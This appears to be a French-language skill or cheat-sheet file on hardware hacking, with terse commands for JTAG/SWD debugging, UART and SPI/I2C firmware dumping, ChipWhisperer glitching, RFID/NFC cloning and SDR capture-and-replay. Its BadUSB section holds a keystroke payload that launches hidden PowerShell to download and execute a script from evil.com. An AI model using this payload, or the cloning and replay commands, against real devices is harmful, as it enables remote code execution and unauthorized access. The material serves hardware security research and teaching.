| name | hardware-hacking |
| description | Hardware Hacking — JTAG/SWD, SPI/I2C/UART, glitching, side-channel, RF/SDR, dump firmware, BadUSB, et exploitation physique de circuits |
| tags | ["hardware","JTAG","SWD","SPI","I2C","UART","glitching","side-channel","SDR","firmware"] |
| version | 1 |
Hardware Hacking
Guide de hacking matériel — des interfaces de debug aux attaques physiques sur circuits et firmware embarqué.
1. Identification et Reconnaissance
PCB Reconnaissance
Pinout Tools
2. Interfaces de Debug
JTAG (IEEE 1149.1)
jtagulator> s
jtagulator> b
jtagulator> S
jtagulator> I
openocd -f interface/jlink.cfg -f target/stm32f4x.cfg
> halt
> flash write_image firmware.bin 0x08000000
> reset run
SWD (Serial Wire Debug) — ARM Cortex
openocd -f interface/stlink.cfg -f target/stm32h7x.cfg
UART (Serial Console)
python3 -c "
import serial
import time
for baud in [9600, 19200, 38400, 57600, 115200, 230400, 460800, 921600]:
try:
s = serial.Serial('/dev/ttyUSB0', baud, timeout=1)
data = s.read(100)
if data:
print(f'BAUD {baud}: {data}')
except: pass
"
SPI
flashrom -p buspirate_spi:dev=/dev/ttyUSB0 -r dump.bin
flashrom -p ch341a_spi -r bios.bin
I2C
i2cdetect -y 1
busPirate> m
busPirate> (3)
i2cdump -y 1 0x50 w
3. Glitching / Fault Injection
Voltage Glitching
import chipwhisperer as cw
scope = cw.scope()
scope.glitch.output = 'glitch_only'
scope.glitch.width = 10E-6
scope.glitch.offset = 100E-6
scope.arm()
scope.glitch.repeat = 10
Clock Glitching
Electromagnetic Fault Injection (EMFI)
4. Firmware Dump & Analysis
Flash Dump (SOIC-8 / WSON-8)
flashrom -p ch341a_spi -r dump.bin
binwalk -Me dump.bin
strings dump.bin | head -100
hexdump -C dump.bin | head -50
Encrypted / Locked Flash
Firmware Extraction
1. Dump flash → binwalk → extracted
2. Analyse strings, check crypto constants
3. Reverse engineer with Ghidra
4. Identify UART/console strings for debug access
5. Exploit debug shell for advanced access
5. Side-Channel Attacks
Power Analysis
EM Emanation
6. BadUSB & HID Attacks
Rubber Ducky / BadUSB
DUCKY_LANG FR
DELAY 1000
WINDOWS r
DELAY 500
STRING powershell -NoP -NonI -W Hidden -Exec Bypass -C "IEX(New-Object Net.WebClient).downloadString('http://evil.com/ps.ps1')"
ENTER
Flipper Zero
7. RFID/NFC
RFID Cloning (125kHz)
pm3 --> lf search
pm3 --> lf em 410x reader
pm3 --> lf em 410x sim --uid <uid>
NFC (13.56MHz)
mfoc -O dump.mfd
pm3 --> hf mf restore
8. SDR (Software Defined Radio)
HackRF One
hackrf_transfer -r capture.cfile -f 433920000 -s 2000000 -n 10000000
hackrf_transfer -t capture.cfile -f 433920000 -s 2000000 -x 40
RTL-SDR
rtl_fm -f 169650000 -s 22050 -M fm | aplay -r 22050 -f S16_LE
dump1090 --interactive
9. Tools Compendium
| Outil | Interface | Usage principal |
|---|
| Bus Pirate | Multi | I2C/SPI/1Wire/UART |
| JTAGulator | JTAG/SWD | Pinout discovery |
| ChipWhisperer | Multi | Glitching + SCA |
| HackRF One | SDR | TX/RX 1MHz-6GHz |
| Flipper Zero | Multi | RFID/NFC/GPIO/IR |
| Proxmark3 | RFID | NFC/RFID analysis |
| Saleae Logic | GPIO | Protocol analysis |
| Black Magic Probe | SWD/JTAG | Debug + flash |
| ST-Link V2 | SWD | ARM debug |
| OpenOCD | SWD/JTAG | Flash + debug CLI |
10. Ressources